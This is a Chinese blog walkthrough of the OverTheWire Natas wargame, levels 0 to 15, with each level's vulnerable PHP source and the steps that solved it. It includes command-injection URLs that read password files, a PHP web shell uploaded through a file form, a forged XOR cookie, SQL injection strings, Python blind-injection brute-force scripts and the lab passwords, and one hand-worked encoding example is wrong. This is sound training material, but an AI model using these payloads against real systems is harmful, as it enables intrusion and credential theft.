Natas 0 to 15 for Wargames
生活没有提示,而靶机会给你解答。——涂寐
Level 0——网页源代码 Natas教授服务器端Web安全的基础知识。 每个级别的natas都由位于 http://natasX.natas.labs.overthewire.org 的自己的网站组成,其中X是级别号。没有 SSH 登录。要访问某个级别,请输入该级别的用户名(例如,natas0 表示级别 0)及其密码。 每个级别都可以访问下一级的密码。您的工作是以某种方式获取下一个密码并升级。所有密码也存储在 /etc/natas_webpass/
中。例如,natas5 的密码存储在文件 /etc/natas_webpass/natas5
中,只有 natas4 和 natas5 才能读取。 这里开始: 1 2 3 Username: natas0 Password: natas0 URL: http://natas0.natas.labs.overthewire.org
1 2 3 4 5 view-source:http://natas0.natas.labs.overthewire.org/ natas1 g9D9cREhslqBKtcA2uocGHPfMZVzeFK6
Level 1——网页源代码 您可以在此页面上找到下一级别的密码,但右键单击已被阻止!
1 2 3 4 5 view-source:http://natas1.natas.labs.overthewire.org/ natas2 h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7
Level 2——目录遍历
1 2 3 4 5 6 7 8 9 10 view-source:http://natas2.natas.labs.overthewire.org/ alice:BYNdCesZqW bob:jw2ueICLvT charlie:G5vCxkVV3m natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q eve:zo4mJWyNj2 mallory:9urtcpzBmH
Level 3——文件泄露-robots.txt
1 2 3 4 5 6 7 8 http://natas3.natas.labs.overthewire.org/robots.txt view-source:http://natas3.natas.labs.overthewire.org/s3cr3t/ natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm
Level 4——referer 欺骗
1 2 3 4 5 Access granted. The password for natas5 is Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
Level 5——越权-cookie
1 2 3 4 5 # 禁止访问。您未登录 # 是的,我又去扫目录了,还去寻找支持登录扫目录的工具……没去看 cookie # 使用插件:EditThisCookie # Access granted. The password for natas6 is fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR
Level 6——源码泄露-文件泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 …… <? include "includes/secret.inc" ; if (array_key_exists ("submit" , $_POST )) { if ($secret == $_POST ['secret' ]) { print "Access granted. The password for natas7 is <censored>" ; } else { print "Wrong secret" ; } } ?> ……
1 2 3 4 5 6 7 <? $secret = "FOEIUWGHFEEUHOFUOIU" ;?>
1 2 Access granted. The password for natas7 is jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr
Level 7——本地文件包含
1 2 3 4 5 6 7 http://natas7.natas.labs.overthewire.org/index.php?page=home' http://natas7.natas.labs.overthewire.org/index.php?page=/etc/passwd http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8 # a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB
Level 8——源码泄露-编码问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <? $encodedSecret = "3d3d516343746d4d6d6c315669563362" ;function encodeSecret ($secret ) { return bin2hex (strrev (base64_encode ($secret ))); } if (array_key_exists ("submit" , $_POST )) { if (encodeSecret ($_POST ['secret' ]) == $encodedSecret ) { print "Access granted. The password for natas9 is <censored>" ; } else { print "Wrong secret" ; } } ?>
1 2 3 4 首先,使用 base64_encode 对字符串进行 Base64 编码。编码后的结果是 "YWRtaW4=" 。 接下来,使用 strrev 对编码后的字符串进行反转,结果为 "=4tiWnR" . 最后,使用 bin2hex 对反转后的字符串进行十六进制编码,得到最终结果 "3d347469576e52" 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import base64hex_string = "3d3d516343746d4d6d6c315669563362" byte_data = bytes .fromhex(hex_string) original_string = byte_data.decode() reversed_string = original_string[::-1 ] decoded_data = base64.b64decode(reversed_string) decoded_string = decoded_data.decode() print ("Decoded string:" , decoded_string)
1 Access granted. The password for natas9 is Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd
Level 9——命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $key = "" ; if (array_key_exists ("needle" , $_REQUEST )) { $key = $_REQUEST ["needle" ]; } if ($key != "" ) { passthru ("grep -i $key dictionary.txt" ); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 http://natas9.natas.labs.overthewire.org/?needle=a /etc/natas_webpass/natas10&submit=Search http://natas9.natas.labs.overthewire.org/?needle=;cat /etc/natas_webpass/natas10&submit=Search http://natas9.natas.labs.overthewire.org/?needle=a&cat /etc/natas_webpass/natas10&submit=Search
Level 10——命令执行绕过 出于安全考虑,我们现在过滤某些字符。查找包含以下内容的单词:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php $key = "" ; if (array_key_exists ("needle" , $_REQUEST )) { $key = $_REQUEST ["needle" ]; } if ($key != "" ) { if (preg_match ('/[;|&]/' ,$key )) { print "Input contains an illegal character!" ; } else { passthru ("grep -i $key dictionary.txt" ); } } ?>
1 2 3 4 5 6 7 8 9 10 http://natas10.natas.labs.overthewire.org/?needle=a /etc/natas_webpass/natas11&submit=Search http://natas10.natas.labs.overthewire.org/?needle=[a-zA-Z] /etc/natas_webpass/natas11
Level 11——异或解码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php $defaultdata = array ( "showpassword" =>"no" , "bgcolor" =>"#ffffff" );function xor_encrypt ($in ) { $key = '<censored>' ; $text = $in ; $outText = '' ; for ($i =0 ;$i <strlen ($text );$i ++) { $outText .= $text [$i ] ^ $key [$i % strlen ($key )]; } return $outText ; } function loadData ($def ) { global $_COOKIE ; $mydata = $def ; if (array_key_exists ("data" , $_COOKIE )) { $tempdata = json_decode (xor_encrypt (base64_decode ($_COOKIE ["data" ])), true ); if (is_array ($tempdata ) && array_key_exists ("showpassword" , $tempdata ) && array_key_exists ("bgcolor" , $tempdata )) { if (preg_match ('/^#(?:[a-f\d]{6})$/i' , $tempdata ['bgcolor' ])) { $mydata ['showpassword' ] = $tempdata ['showpassword' ]; $mydata ['bgcolor' ] = $tempdata ['bgcolor' ]; } } } return $mydata ; } function saveData ($d ) { setcookie ("data" , base64_encode (xor_encrypt (json_encode ($d )))); } $data = loadData ($defaultdata ); if (array_key_exists ("bgcolor" ,$_REQUEST )) { if (preg_match ('/^#(?:[a-f\d]{6})$/i' , $_REQUEST ['bgcolor' ])) { $data ['bgcolor' ] = $_REQUEST ['bgcolor' ]; } } saveData ($data ); ?> <h1>natas11</h1> <div id="content" > <body style="background: <?=$data ['bgcolor']?>;" > <!-- 使用背景颜色设置页面的背景样式 --> Cookies are protected with XOR encryption<br/><br/> <? if ($data ["showpassword" ] == "yes" ) { print "The password for natas12 is <censored><br>" ; } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 data=MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKHgqLX4ubjY%3D MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKHgqLX4ubjY= 0l ;$$98 -8 =?{"showpassword" :"no" ,"bgcolor" :"#ffffff" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php $cookie = "MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKHgqLX4ubjY=" ;function xor_decrypt ($in ) { $key = json_encode (["showpassword" => "no" , "bgcolor" => "#ffffff" ]); echo "\n明文:" . $key ; $text = $in ; $outText = "" ; for ($i = 0 ; $i < strlen ($text ); $i ++) { $outText .= $text [$i ] ^ $key [$i % strlen ($key )]; } return $outText ; } $base64 = base64_decode ($cookie );echo "base64解码:" . $base64 ;$xor = xor_decrypt ($base64 );echo "\n密文:" . $xor ;?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php function xor_encrypt ($in ) { $key = 'KNHL' ; $text = $in ; $outText = '' ; for ($i =0 ;$i <strlen ($text );$i ++) { $outText .= $text [$i ] ^ $key [$i % strlen ($key )]; } return $outText ; } $defaultdata = array ( "showpassword" =>"yes" , "bgcolor" =>"#ffffff" );echo base64_encode (xor_encrypt (json_encode ($defaultdata )));?>
修改cookie为现在生成的密文:MGw7JCQ5OC04PT8jOSpqdmk3LT9pYmouLC0nICQ8anZpbS4qLSguKmkz 1 The password for natas12 is YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG
Level 12——文件上传-更改默认后缀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <?php function genRandomString ( ) { $length = 10 ; $characters = "0123456789abcdefghijklmnopqrstuvwxyz" ; $string = "" ; for ($p = 0 ; $p < $length ; $p ++) { $string .= $characters [mt_rand (0 , strlen ($characters )-1 )]; } return $string ; } function makeRandomPath ($dir , $ext ) { do { $path = $dir ."/" .genRandomString ()."." .$ext ; } while (file_exists ($path )); return $path ; } function makeRandomPathFromFilename ($dir , $fn ) { $ext = pathinfo ($fn , PATHINFO_EXTENSION); return makeRandomPath ($dir , $ext ); } if (array_key_exists ("filename" , $_POST )) { $target_path = makeRandomPathFromFilename ("upload" , $_POST ["filename" ]); if (filesize ($_FILES ['uploadedfile' ]['tmp_name' ]) > 1000 ) { echo "File is too big" ; } else { if (move_uploaded_file ($_FILES ['uploadedfile' ]['tmp_name' ], $target_path )) { echo "The file <a href=\"$target_path \">$target_path </a> has been uploaded" ; } else { echo "There was an error uploading the file, please try again!" ; } } } else { ?> <form enctype="multipart/form-data" action="index.php" method="POST" > <input type="hidden" name="MAX_FILE_SIZE" value="1000" /> <input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" /> Choose a JPEG to upload (max 1 KB):<br/> <input name="uploadedfile" type="file" /><br /> <input type="submit" value="Upload File" /> </form> <?php } ?>
1 <?php @eval ($_POST['libai' ]);?>
1 2 3 <?php system('cat /etc/natas_webpass/natas13' );?>
Level 13——文件上传-更改文件默认签名 出于安全考虑,我们现在只接受图像文件!选择要上载的JPEG(最大1KB):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php function genRandomString ( ) { $length = 10 ; $characters = "0123456789abcdefghijklmnopqrstuvwxyz" ; $string = "" ; for ($p = 0 ; $p < $length ; $p ++) { $string .= $characters [mt_rand (0 , strlen ($characters )-1 )]; } return $string ; } function makeRandomPath ($dir , $ext ) { do { $path = $dir ."/" .genRandomString ()."." .$ext ; } while (file_exists ($path )); return $path ; } function makeRandomPathFromFilename ($dir , $fn ) { $ext = pathinfo ($fn , PATHINFO_EXTENSION); return makeRandomPath ($dir , $ext ); } if (array_key_exists ("filename" , $_POST )) { $target_path = makeRandomPathFromFilename ("upload" , $_POST ["filename" ]); $err = $_FILES ['uploadedfile' ]['error' ]; if ($err ) { if ($err === 2 ) { echo "The uploaded file exceeds MAX_FILE_SIZE" ; } else { echo "Something went wrong :/" ; } } else if (filesize ($_FILES ['uploadedfile' ]['tmp_name' ]) > 1000 ) { echo "File is too big" ; } else if (!exif_imagetype ($_FILES ['uploadedfile' ]['tmp_name' ])) { echo "File is not an image" ; } else { if (move_uploaded_file ($_FILES ['uploadedfile' ]['tmp_name' ], $target_path )) { echo "The file <a href=\"$target_path \">$target_path </a> has been uploaded" ; } else { echo "There was an error uploading the file, please try again!" ; } } } else { ?> <form enctype="multipart/form-data" action="index.php" method="POST" > <input type="hidden" name="MAX_FILE_SIZE" value="1000" /> <input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" /> Choose a JPEG to upload (max 1 KB):<br/> <input name="uploadedfile" type="file" /><br /> <input type="submit" value="Upload File" /> </form> <?php } ?>
不理解源码,直接测试 根据提示:出于安全考虑,我们现在只接受图像文件 提示2:选择要上载的JPEG(最大1KB) 在网页源代码中又发现了:<input type="hidden" name="filename" value="uoomam3zpv.jpg" />
,不会又是默认后缀吧? 测试上传大图像文件,提示:上载的文件超过MAX_file_SIZE txt 文件:文件不是图像 txt 改为 jpg 文件:文件不是图像。——怀疑是检查文件头, 添加 jpg 头(瞎搞的):文件不是图像。 添加 gif 头(GIF89a):ok 源码查看及重要函数说明:
Level 14——sql注入-双引号报错-登录框
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php if (array_key_exists ("username" , $_REQUEST )) { $link = mysqli_connect ('localhost' , 'natas14' , '<censored>' ); mysqli_select_db ($link , 'natas14' ); $query = "SELECT * from users where username=\"" . $_REQUEST ["username" ] . "\" and password=\"" . $_REQUEST ["password" ] . "\"" ; if (array_key_exists ("debug" , $_GET )) { echo "Executing query: $query <br>" ; } if (mysqli_num_rows (mysqli_query ($link , $query )) > 0 ) { echo "Successful login! The password for natas15 is <censored><br>" ; } else { echo "Access denied!<br>" ; } mysqli_close ($link ); } else { ?> <form action="index.php" method="POST" > Username: <input name="username" ><br> Password: <input name="password" ><br> <input type="submit" value="Login" /> </form> <?php } ?>
登录框
1 2 Executing query: SELECT * from users where username="admin" or 1 =1 -- " and password=" 123456 " Successful login! The password for natas15 is TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB
Level 15——sql注入-双引号报错-查询框-布尔注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php if (array_key_exists ("username" , $_REQUEST )) { $link = mysqli_connect ('localhost' , 'natas15' , '<censored>' ); mysqli_select_db ($link , 'natas15' ); $query = "SELECT * from users where username=\"" . $_REQUEST ["username" ] . "\"" ; if (array_key_exists ("debug" , $_GET )) { echo "Executing query: $query <br>" ; } $res = mysqli_query ($link , $query ); if ($res ) { if (mysqli_num_rows ($res ) > 0 ) { echo "This user exists.<br>" ; } else { echo "This user doesn't exist.<br>" ; } } else { echo "Error in query.<br>" ; } mysqli_close ($link ); } else { ?> <form action="index.php" method="POST" > Username: <input name="username" ><br> <input type="submit" value="Check existence" /> </form> <?php } ?>
查询框username=admin
——此用户不存在。username=admin'
——此用户不存在。username=admin"
——查询中出错。username=admin"or 1=1--+
——此用户已存在。报错注入?联合查询?盲注?看参考,嗯,是拼接新字段,又学到了 大佬脚本利用 LIKE BINARY
关键字对密码进行二进制级别的比较,即考虑大小写。——靶场验证登录密码大小写呀。 由于 %char%
的存在,将判断密码中使用到的每个字符 char
并存在字符拼接到 filtered
。 根据 filtered
字符串,两层循环跑 32 位真实密码,passwd
存储已对应正确位置的部分密码段,char
则赋值当前猜想字符。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsfrom requests.auth import HTTPBasicAuthchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' filtered = '' passwd = '' for char in chars: Data = {'username' : 'natas16" and password LIKE BINARY "%' + char + '%" #' } r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug' , auth=HTTPBasicAuth('natas15' , 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J' ), data = Data) if 'exists' in r.text: filtered = filtered + char for i in range (0 , 32 ): for char in filtered: Data = {'username' : 'natas16" and password LIKE BINARY "' + passwd + char + '%" #' } r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug' , auth=HTTPBasicAuth('natas15' , 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J' ), data = Data) if 'exists' in r.text: passwd = passwd + char print (passwd) break
既然理解了,那就调教您的 AI。 P.S.弹窗输入框登录,即该页面采用了基本的 HTTP 身份验证(Basic Authentication)。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ''' 访问http://natas15.natas.labs.overthewire.org/index.php时会出现一个弹窗输入框,是用来输入账号密码的,请结合如下信息编写一个python脚本获取响应数据: url = 'http://natas15.natas.labs.overthewire.org/index.php' username = 'natas15' password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB' ''' import requestsurl = 'http://natas15.natas.labs.overthewire.org/index.php' username = 'natas15' password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB' response = requests.post(url, auth=(username, password)) content = response.text print (content)
添加post请求体,记得改查询账号为natas16 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsurl = 'http://natas15.natas.labs.overthewire.org/index.php' username = 'natas15' password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB' data = { 'username' : 'natas16' } response = requests.post(url, auth=(username, password), data=data) content = response.text print (content)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsurl = 'http://natas15.natas.labs.overthewire.org/index.php' username = 'natas15' password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB' data = { 'username' : 'natas16"and password like binary "%a%"-- ' } response = requests.post(url, auth=(username, password),data=data content = response.text print (content)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsurl = 'http://natas15.natas.labs.overthewire.org/index.php' username = 'natas15' password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB' string = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' exist = '' for char in string: data = { 'username' : 'natas16"and password like binary "%' + char + '%"-- ' } response = requests.post(url, auth=(username, password), data=data) content = response.text if 'exists' in content: exist += char print (exist)
两层 for 循环爆破密码(32位),第一层遍历密码的每一位,第二层遍历密码当前位的正确字符。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import requestsurl = 'http://natas15.natas.labs.overthewire.org/index.php' username = 'natas15' password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB' string = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' exist = '' passwd = '' for char in string: data = { 'username' : 'natas16" and password like binary "%' + char + '%"-- ' } response = requests.post(url, auth=(username, password), data=data) content = response.text if 'exists' in content: exist += char print (exist)for num in range (0 , 32 ): for char in exist: data = { 'username' : 'natas16" and password like binary "' + passwd + char + '%"-- ' } response = requests.post(url, auth=(username, password), data=data) content = response.text if 'exists' in content: passwd += char print (passwd)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import requestsurl = 'http://natas15.natas.labs.overthewire.org/index.php' username = 'natas15' password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB' string = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' def find_existing_chars (url=url, username=username, password=password, string=string ): print ('密码表塔:' ) exist = '' for char in string: data = { 'username' : 'natas16"and password like binary "%' + char + '%"-- ' } response = requests.post(url, auth=(username, password), data=data) content = response.text if 'exists' in content: exist += char print (exist) return exist def bruteforce_password (url=url, username=username, password=password, exist=string ): print ('密码塔:' ) passwd = '' for num in range (0 , 32 ): for char in exist: data = { 'username' : 'natas16"and password like binary "' +passwd+char+'%"-- ' } response = requests.post(url, auth=(username, password),data=data) content = response.text if 'exists' in content: passwd += char print (passwd) bruteforce_password(exist=find_existing_chars())
TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V
本文标题 :Natas 0 to 15 for Wargames 本文作者 :涂寐 创建时间 :2023-09-14 23:43:57 本文链接 :article/94527e84.html 版权声明 :本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!